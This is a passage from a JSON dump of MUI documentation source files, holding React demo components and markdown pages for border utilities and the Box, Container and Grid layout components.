{ pathname: '/material-ui/api/speed-dial-icon' },\n  { pathname: '/material-ui/api/stack' },\n  { pathname: '/material-ui/api/step' },\n  { pathname: '/material-ui/api/step-button' },\n  { pathname: '/material-ui/api/step-connector' },\n  { pathname: '/material-ui/api/step-content' },\n  { pathname: '/material-ui/api/step-icon' },\n  { pathname: '/material-ui/api/step-label' },\n  { pathname: '/material-ui/api/stepper' },\n  { pathname: '/material-ui/api/svg-icon' },\n  { pathname: '/material-ui/api/swipeable-drawer' },\n  { pathname: '/material-ui/api/switch' },\n  { pathname: '/material-ui/api/tab' },\n  { pathname: '/material-ui/api/tab-context' },\n  { pathname: '/material-ui/api/table' },\n  { pathname: '/material-ui/api/table-body' },\n  { pathname: '/material-ui/api/table-cell' },\n  { pathname: '/material-ui/api/table-container' },\n  { pathname: '/material-ui/api/table-footer' },\n  { pathname: '/material-ui/api/table-head' },\n  { pathname: '/material-ui/api/table-pagination' },\n  { pathname: '/material-ui/api/table-pagination-actions' },\n  { pathname: '/material-ui/api/table-row' },\n  { pathname: '/material-ui/api/table-sort-label' },\n  { pathname: '/material-ui/api/tab-list' },\n  { pathname: '/material-ui/api/tab-panel' },\n  { pathname: '/material-ui/api/tabs' },\n  { pathname: '/material-ui/api/tab-scroll-button' },\n  { pathname: '/material-ui/api/textarea-autosize' },\n  { pathname: '/material-ui/api/text-field' },\n  { pathname: '/material-ui/api/timeline' },\n  { pathname: '/material-ui/api/timeline-connector' },\n  { pathname: '/material-ui/api/timeline-content' },\n  { pathname: '/material-ui/api/timeline-dot' },\n  { pathname: '/material-ui/api/timeline-item' },\n  { pathname: '/material-ui/api/timeline-opposite-content' },\n  { pathname: '/material-ui/api/timeline-separator' },\n  { pathname: '/material-ui/api/toggle-button' },\n  { pathname: '/material-ui/api/toggle-button-group' },\n  { pathname: '/material-ui/api/toolbar' },\n  { pathname: '/material-ui/api/tooltip' },\n  { pathname: '/material-ui/api/typography' },\n  { pathname: '/material-ui/api/zoom' },\n];\n"
  },
  {
    "path": "docs/data/system/borders/BorderAdditive.js",
    "content": "import Box from '@mui/material/Box';\n\nconst commonStyles = {\n  bgcolor: 'background.paper',\n  m: 1,\n  borderColor: 'text.primary',\n  width: '5rem',\n  height: '5rem',\n};\n\nexport default function BorderAdditive() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n      <Box sx={{ ...commonStyles, border: 1 }} />\n      <Box sx={{ ...commonStyles, borderTop: 1 }} />\n      <Box sx={{ ...commonStyles, borderRight: 1 }} />\n      <Box sx={{ ...commonStyles, borderBottom: 1 }} />\n      <Box sx={{ ...commonStyles, borderLeft: 1 }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/borders/BorderAdditive.tsx",
    "content": "import Box from '@mui/material/Box';\n\nconst commonStyles = {\n  bgcolor: 'background.paper',\n  m: 1,\n  borderColor: 'text.primary',\n  width: '5rem',\n  height: '5rem',\n};\n\nexport default function BorderAdditive() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n      <Box sx={{ ...commonStyles, border: 1 }} />\n      <Box sx={{ ...commonStyles, borderTop: 1 }} />\n      <Box sx={{ ...commonStyles, borderRight: 1 }} />\n      <Box sx={{ ...commonStyles, borderBottom: 1 }} />\n      <Box sx={{ ...commonStyles, borderLeft: 1 }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/borders/BorderAdditive.tsx.preview",
    "content": "<Box sx={{ ...commonStyles, border: 1 }} />\n<Box sx={{ ...commonStyles, borderTop: 1 }} />\n<Box sx={{ ...commonStyles, borderRight: 1 }} />\n<Box sx={{ ...commonStyles, borderBottom: 1 }} />\n<Box sx={{ ...commonStyles, borderLeft: 1 }} />"
  },
  {
    "path": "docs/data/system/borders/BorderColor.js",
    "content": "import Box from '@mui/material/Box';\n\nconst commonStyles = {\n  bgcolor: 'background.paper',\n  m: 1,\n  border: 1,\n  width: '5rem',\n  height: '5rem',\n};\n\nexport default function BorderColor() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n      <Box sx={{ ...commonStyles, borderColor: 'primary.main' }} />\n      <Box sx={{ ...commonStyles, borderColor: 'secondary.main' }} />\n      <Box sx={{ ...commonStyles, borderColor: 'error.main' }} />\n      <Box sx={{ ...commonStyles, borderColor: 'grey.500' }} />\n      <Box sx={{ ...commonStyles, borderColor: 'text.primary' }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/borders/BorderColor.tsx",
    "content": "import Box from '@mui/material/Box';\n\nconst commonStyles = {\n  bgcolor: 'background.paper',\n  m: 1,\n  border: 1,\n  width: '5rem',\n  height: '5rem',\n};\n\nexport default function BorderColor() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n      <Box sx={{ ...commonStyles, borderColor: 'primary.main' }} />\n      <Box sx={{ ...commonStyles, borderColor: 'secondary.main' }} />\n      <Box sx={{ ...commonStyles, borderColor: 'error.main' }} />\n      <Box sx={{ ...commonStyles, borderColor: 'grey.500' }} />\n      <Box sx={{ ...commonStyles, borderColor: 'text.primary' }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/borders/BorderColor.tsx.preview",
    "content": "<Box sx={{ ...commonStyles, borderColor: 'primary.main' }} />\n<Box sx={{ ...commonStyles, borderColor: 'secondary.main' }} />\n<Box sx={{ ...commonStyles, borderColor: 'error.main' }} />\n<Box sx={{ ...commonStyles, borderColor: 'grey.500' }} />\n<Box sx={{ ...commonStyles, borderColor: 'text.primary' }} />"
  },
  {
    "path": "docs/data/system/borders/BorderRadius.js",
    "content": "import Box from '@mui/material/Box';\n\nconst commonStyles = {\n  bgcolor: 'background.paper',\n  borderColor: 'text.primary',\n  m: 1,\n  border: 1,\n  width: '5rem',\n  height: '5rem',\n};\n\nexport default function BorderRadius() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n      <Box sx={{ ...commonStyles, borderRadius: '50%' }} />\n      <Box sx={{ ...commonStyles, borderRadius: 1 }} />\n      <Box sx={{ ...commonStyles, borderRadius: '16px' }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/borders/BorderRadius.tsx",
    "content": "import Box from '@mui/material/Box';\n\nconst commonStyles = {\n  bgcolor: 'background.paper',\n  borderColor: 'text.primary',\n  m: 1,\n  border: 1,\n  width: '5rem',\n  height: '5rem',\n};\n\nexport default function BorderRadius() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n      <Box sx={{ ...commonStyles, borderRadius: '50%' }} />\n      <Box sx={{ ...commonStyles, borderRadius: 1 }} />\n      <Box sx={{ ...commonStyles, borderRadius: '16px' }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/borders/BorderRadius.tsx.preview",
    "content": "<Box sx={{ ...commonStyles, borderRadius: '50%' }} />\n<Box sx={{ ...commonStyles, borderRadius: 1 }} />\n<Box sx={{ ...commonStyles, borderRadius: '16px' }} />"
  },
  {
    "path": "docs/data/system/borders/BorderSubtractive.js",
    "content": "import Box from '@mui/material/Box';\n\nconst commonStyles = {\n  bgcolor: 'background.paper',\n  border: 1,\n  m: 1,\n  borderColor: 'text.primary',\n  width: '5rem',\n  height: '5rem',\n};\n\nexport default function BorderSubtractive() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n      <Box sx={{ ...commonStyles, border: 0 }} />\n      <Box sx={{ ...commonStyles, borderTop: 0 }} />\n      <Box sx={{ ...commonStyles, borderRight: 0 }} />\n      <Box sx={{ ...commonStyles, borderBottom: 0 }} />\n      <Box sx={{ ...commonStyles, borderLeft: 0 }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/borders/BorderSubtractive.tsx",
    "content": "import Box from '@mui/material/Box';\n\nconst commonStyles = {\n  bgcolor: 'background.paper',\n  border: 1,\n  m: 1,\n  borderColor: 'text.primary',\n  width: '5rem',\n  height: '5rem',\n};\n\nexport default function BorderSubtractive() {\n  return (\n    <Box sx={{ display: 'flex', justifyContent: 'center' }}>\n      <Box sx={{ ...commonStyles, border: 0 }} />\n      <Box sx={{ ...commonStyles, borderTop: 0 }} />\n      <Box sx={{ ...commonStyles, borderRight: 0 }} />\n      <Box sx={{ ...commonStyles, borderBottom: 0 }} />\n      <Box sx={{ ...commonStyles, borderLeft: 0 }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/borders/BorderSubtractive.tsx.preview",
    "content": "<Box sx={{ ...commonStyles, border: 0 }} />\n<Box sx={{ ...commonStyles, borderTop: 0 }} />\n<Box sx={{ ...commonStyles, borderRight: 0 }} />\n<Box sx={{ ...commonStyles, borderBottom: 0 }} />\n<Box sx={{ ...commonStyles, borderLeft: 0 }} />"
  },
  {
    "path": "docs/data/system/borders/borders.md",
    "content": "# Borders\n\n<p class=\"description\">Use border utilities to quickly style the border and border-radius of an element. Great for images, buttons, or any other element.</p>\n\n## Border\n\nUse border utilities to add or remove an element's borders. Choose from all borders or one at a time.\n\n### Additive\n\n{{\"demo\": \"BorderAdditive.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ border: 1 }}>…\n<Box sx={{ borderTop: 1 }}>…\n<Box sx={{ borderRight: 1 }}>…\n<Box sx={{ borderBottom: 1 }}>…\n<Box sx={{ borderLeft: 1 }}>…\n```\n\n### Subtractive\n\n{{\"demo\": \"BorderSubtractive.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ border: 0 }}>…\n<Box sx={{ borderTop: 0 }}>…\n<Box sx={{ borderRight: 0 }}>…\n<Box sx={{ borderBottom: 0 }}>…\n<Box sx={{ borderLeft: 0 }}>…\n```\n\n## Border color\n\n{{\"demo\": \"BorderColor.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ borderColor: 'primary.main' }}>…\n<Box sx={{ borderColor: 'secondary.main' }}>…\n<Box sx={{ borderColor: 'error.main' }}>…\n<Box sx={{ borderColor: 'grey.500' }}>…\n<Box sx={{ borderColor: 'text.primary' }}>…\n```\n\n## Border-radius\n\n{{\"demo\": \"BorderRadius.js\", \"defaultCodeOpen\": false}}\n\n```jsx\n<Box sx={{ borderRadius: '50%' }}>…\n<Box sx={{ borderRadius: 1 }}>… // theme.shape.borderRadius * 1\n<Box sx={{ borderRadius: '16px' }}>…\n```\n\n## API\n\n```js\nimport { borders } from '@mui/system';\n```\n\n| Import name         | Prop                | CSS property          | Theme key                                                                    |\n| :------------------ | :------------------ | :-------------------- | :--------------------------------------------------------------------------- |\n| `border`            | `border`            | `border`              | `borders`                                                                    |\n| `borderTop`         | `borderTop`         | `border-top`          | `borders`                                                                    |\n| `borderLeft`        | `borderLeft`        | `border-left`         | `borders`                                                                    |\n| `borderRight`       | `borderRight`       | `border-right`        | `borders`                                                                    |\n| `borderBottom`      | `borderBottom`      | `border-bottom`       | `borders`                                                                    |\n| `borderColor`       | `borderColor`       | `border-color`        | [`palette`](/material-ui/customization/default-theme/?expand-path=$.palette) |\n| `borderTopColor`    | `borderTopColor`    | `border-top-color`    | [`palette`](/material-ui/customization/default-theme/?expand-path=$.palette) |\n| `borderRightColor`  | `borderRightColor`  | `border-right-color`  | [`palette`](/material-ui/customization/default-theme/?expand-path=$.palette) |\n| `borderBottomColor` | `borderBottomColor` | `border-bottom-color` | [`palette`](/material-ui/customization/default-theme/?expand-path=$.palette) |\n| `borderLeftColor`   | `borderLeftColor`   | `border-left-color`   | [`palette`](/material-ui/customization/default-theme/?expand-path=$.palette) |\n| `borderRadius`      | `borderRadius`      | `border-radius`       | [`shape`](/material-ui/customization/default-theme/?expand-path=$.shape)     |\n"
  },
  {
    "path": "docs/data/system/components/box/BoxBasic.js",
    "content": "import Box from '@mui/system/Box';\n\nexport default function BoxBasic() {\n  return (\n    <Box component=\"section\" sx={{ p: 2, border: '1px dashed grey' }}>\n      This Box renders as an HTML section element.\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/box/BoxBasic.tsx",
    "content": "import Box from '@mui/system/Box';\n\nexport default function BoxBasic() {\n  return (\n    <Box component=\"section\" sx={{ p: 2, border: '1px dashed grey' }}>\n      This Box renders as an HTML section element.\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/box/BoxBasic.tsx.preview",
    "content": "\n  This Box renders as an HTML section element.\n"
  },
  {
    "path": "docs/data/system/components/box/BoxSx.js",
    "content": "import { Box, ThemeProvider } from '@mui/system';\n\nexport default function BoxSx() {\n  return (\n    <ThemeProvider\n      theme={{\n        palette: {\n          primary: {\n            main: '#007FFF',\n            dark: '#0066CC',\n          },\n        },\n      }}\n    >\n      <Box\n        sx={{\n          width: 100,\n          height: 100,\n          borderRadius: 1,\n          bgcolor: 'primary.main',\n          '&:hover': {\n            bgcolor: 'primary.dark',\n          },\n        }}\n      />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/box/BoxSx.tsx",
    "content": "import { Box, ThemeProvider } from '@mui/system';\n\nexport default function BoxSx() {\n  return (\n    <ThemeProvider\n      theme={{\n        palette: {\n          primary: {\n            main: '#007FFF',\n            dark: '#0066CC',\n          },\n        },\n      }}\n    >\n      <Box\n        sx={{\n          width: 100,\n          height: 100,\n          borderRadius: 1,\n          bgcolor: 'primary.main',\n          '&:hover': {\n            bgcolor: 'primary.dark',\n          },\n        }}\n      />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/box/BoxSystemProps.js",
    "content": "import Box from '@mui/system/Box';\n\nexport default function BoxSystemProps() {\n  return (\n    <Box\n      sx={{\n        height: 200,\n        width: 200,\n        my: 4,\n        display: 'flex',\n        alignItems: 'center',\n        gap: 4,\n        p: 2,\n        border: '2px solid grey',\n      }}\n    >\n      This Box uses MUI System props for quick customization.\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/box/BoxSystemProps.tsx",
    "content": "import Box from '@mui/system/Box';\n\nexport default function BoxSystemProps() {\n  return (\n    <Box\n      sx={{\n        height: 200,\n        width: 200,\n        my: 4,\n        display: 'flex',\n        alignItems: 'center',\n        gap: 4,\n        p: 2,\n        border: '2px solid grey',\n      }}\n    >\n      This Box uses MUI System props for quick customization.\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/box/BoxSystemProps.tsx.preview",
    "content": "\n  This Box uses MUI System props for quick customization.\n"
  },
  {
    "path": "docs/data/system/components/box/box.md",
    "content": "---\nproductId: system\ntitle: React Box component\ncomponents: Box\ngithubLabel: 'component: Box'\n---\n\n<!-- This page's content is duplicated (with some product-specific details) across the Material UI, Joy UI, and MUI System docs. Any changes should be applied to all three pages at the same time. -->\n\n# Box\n\n<p class=\"description\">The Box component is a generic, theme-aware container with access to CSS utilities from MUI System.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Introduction\n\nThe Box component is a generic container for grouping other components.\nIt's a fundamental building block when working with MUI System—you can think of it as a `<div>` with extra built-in features, like access to your app's theme and the [`sx` prop](/system/getting-started/the-sx-prop/).\n\n### Usage\n\nThe Box component differs from other containers available in MUI System in that its usage is intended to be multipurpose and open-ended, just like a `<div>`.\nComponents like [Container](/system/react-container/) and [Stack](/system/react-stack/), by contrast, feature usage-specific props that make them ideal for certain use cases: Container for main layout orientation, and Stack for one-dimensional layouts.\n\n## Basics\n\n```jsx\nimport Box from '@mui/system/Box';\n```\n\nThe Box component renders as a `<div>` by default, but you can swap in any other valid HTML tag or React component using the `component` prop.\nThe demo below replaces the `<div>` with a `<section>` element:\n\n{{\"demo\": \"BoxBasic.js\", \"defaultCodeOpen\": true }}\n\n## Customization\n\n### With MUI System props\n\nAs a CSS utility component, the Box supports all [MUI System properties](/system/properties/).\nYou can use them as props directly on the component.\n\n{{\"demo\": \"BoxSystemProps.js\", \"defaultCodeOpen\": true }}\n\n### With the sx prop\n\nUse the [`sx` prop](/system/getting-started/the-sx-prop/) to quickly customize any Box instance using a superset of CSS that has access to all the style functions and theme-aware properties exposed in the MUI System package.\nThe demo below shows how to apply colors from the theme using this prop:\n\n{{\"demo\": \"BoxSx.js\", \"defaultCodeOpen\": true }}\n\n### Create your own Box\n\nUse the `createBox()` utility to create your version of the Box component.\nThis is useful if you need to expose your container to a theme that's different from the default theme of the library you're working with:\n\n```js\nimport { createBox, createTheme } from '@mui/system';\n\nconst defaultTheme = createTheme({\n  // your custom theme values\n});\n\nconst Box = createBox({ defaultTheme });\n\nexport default Box;\n```\n\n## Anatomy\n\nThe Box component is composed of a single root `<div>` element:\n\n```html\n<div className=\"MuiBox-root\">\n  <!-- contents of the Box -->\n</div>\n```\n"
  },
  {
    "path": "docs/data/system/components/container/FixedContainer.js",
    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { Box, Container } from '@mui/system';\n\nexport default function FixedContainer() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Container fixed>\n        <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/container/FixedContainer.tsx",
    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { Box, Container } from '@mui/system';\n\nexport default function FixedContainer() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Container fixed>\n        <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/container/FixedContainer.tsx.preview",
    "content": "<React.Fragment>\n  <CssBaseline />\n  <Container fixed>\n    <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n  </Container>\n</React.Fragment>"
  },
  {
    "path": "docs/data/system/components/container/SimpleContainer.js",
    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { Box, Container } from '@mui/system';\n\nexport default function SimpleContainer() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Container maxWidth=\"sm\">\n        <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/container/SimpleContainer.tsx",
    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { Box, Container } from '@mui/system';\n\nexport default function SimpleContainer() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Container maxWidth=\"sm\">\n        <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/container/SimpleContainer.tsx.preview",
    "content": "<React.Fragment>\n  <CssBaseline />\n  <Container maxWidth=\"sm\">\n    <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n  </Container>\n</React.Fragment>"
  },
  {
    "path": "docs/data/system/components/container/container.md",
    "content": "---\nproductId: system\ntitle: React Container component\ncomponents: Container\ngithubLabel: 'component: Container'\n---\n\n# Container\n\n<p class=\"description\">The container centers your content horizontally. It's the most basic layout element.</p>\n\nWhile containers can be nested, most layouts do not require a nested container.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Fluid\n\nA fluid container width is bounded by the `maxWidth` prop value.\n\n{{\"demo\": \"SimpleContainer.js\", \"iframe\": true, \"defaultCodeOpen\": false}}\n\n```jsx\n<Container maxWidth=\"sm\">\n```\n\n## Fixed\n\nIf you prefer to design for a fixed set of sizes instead of trying to accommodate a fully fluid viewport, you can set the `fixed` prop.\nThe max-width matches the min-width of the current breakpoint.\n\n{{\"demo\": \"FixedContainer.js\", \"iframe\": true, \"defaultCodeOpen\": false}}\n\n```jsx\n<Container fixed>\n```\n"
  },
  {
    "path": "docs/data/system/components/grid/AutoGrid.js",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function AutoGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={3}>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/AutoGrid.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function AutoGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={3}>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/AutoGrid.tsx.preview",
    "content": "<Grid container spacing={3}>\n  <Grid size=\"grow\">\n    <Item>size=grow</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>size=6</Item>\n  </Grid>\n  <Grid size=\"grow\">\n    <Item>size=grow</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/system/components/grid/AutoGridNoWrap.js",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\n\nconst Item = styled('div')(({ theme }) => ({\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    borderColor: '#444d58',\n  }),\n}));\n\nconst message = `Truncation should be conditionally applicable on this long line of text\n as this is a much longer line than what the container can support. `;\n\nexport default function AutoGridNoWrap() {\n  return (\n    <Box sx={{ flexGrow: 1, overflow: 'hidden', px: 3, maxWidth: 400 }}>\n      <Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n        <Grid container wrap=\"nowrap\" spacing={2}>\n          <Grid>\n            <Avatar>W</Avatar>\n          </Grid>\n          <Grid size=\"grow\">\n            <Typography noWrap>{message}</Typography>\n          </Grid>\n        </Grid>\n      </Item>\n      <Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n        <Grid container wrap=\"nowrap\" spacing={2}>\n          <Grid>\n            <Avatar>W</Avatar>\n          </Grid>\n          <Grid size=\"grow\">\n            <Typography\n              sx={{\n                display: '-webkit-box',\n                WebkitLineClamp: '3',\n                WebkitBoxOrient: 'vertical',\n                overflow: 'hidden',\n              }}\n            >\n              {message}\n            </Typography>\n          </Grid>\n        </Grid>\n      </Item>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/AutoGridNoWrap.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\n\nconst Item = styled('div')(({ theme }) => ({\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  borderRadius: 4,\n  ...theme.applyStyles('dark', {\n    borderColor: '#444d58',\n  }),\n}));\n\nconst message = `Truncation should be conditionally applicable on this long line of text\n as this is a much longer line than what the container can support. `;\n\nexport default function AutoGridNoWrap() {\n  return (\n    <Box sx={{ flexGrow: 1, overflow: 'hidden', px: 3, maxWidth: 400 }}>\n      <Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n        <Grid container wrap=\"nowrap\" spacing={2}>\n          <Grid>\n            <Avatar>W</Avatar>\n          </Grid>\n          <Grid size=\"grow\">\n            <Typography noWrap>{message}</Typography>\n          </Grid>\n        </Grid>\n      </Item>\n      <Item sx={{ my: 1, mx: 'auto', p: 2 }}>\n        <Grid container wrap=\"nowrap\" spacing={2}>\n          <Grid>\n            <Avatar>W</Avatar>\n          </Grid>\n          <Grid size=\"grow\">\n            <Typography\n              sx={{\n                display: '-webkit-box',\n                WebkitLineClamp: '3',\n                WebkitBoxOrient: 'vertical',\n                overflow: 'hidden',\n              }}\n            >\n              {message}\n            </Typography>\n          </Grid>\n        </Grid>\n      </Item>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/BasicGrid.js",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function BasicGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n        <Grid size={4}>\n          <Item>size=4</Item>\n        </Grid>\n        <Grid size={4}>\n          <Item>size=4</Item>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/BasicGrid.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function BasicGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n        <Grid size={4}>\n          <Item>size=4</Item>\n        </Grid>\n        <Grid size={4}>\n          <Item>size=4</Item>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/BasicGrid.tsx.preview",
    "content": "<Grid container spacing={2}>\n  <Grid size={8}>\n    <Item>size=8</Item>\n  </Grid>\n  <Grid size={4}>\n    <Item>size=4</Item>\n  </Grid>\n  <Grid size={4}>\n    <Item>size=4</Item>\n  </Grid>\n  <Grid size={8}>\n    <Item>size=8</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/system/components/grid/ColumnsGrid.js",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function ColumnsGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2} columns={16}>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/ColumnsGrid.tsx",
    "content": "import Box from '@mui/system/Box';\nimport Grid from '@mui/system/Grid';\nimport styled from '@mui/system/styled';\n\nconst Item = styled('div')(({ theme }) => ({\n  backgroundColor: '#fff',\n  border: '1px solid',\n  borderColor: '#ced7e0',\n  padding: theme.spacing(1),\n  borderRadius: '4px',\n  textAlign: 'center',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n    borderColor: '#444d58',\n  }),\n}));\n\nexport default function ColumnsGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2} columns={16}>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/components/grid/ColumnsGrid.tsx.preview",
    "content": "<Grid container spacing={2} columns={16}>\n  <Grid size={8}>\n    <Item>size=8</Item>\n  </Grid>\n  <Grid size={8}>\n    <Item>size=8</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/system/components/grid/CustomBreakpointsGrid.js",
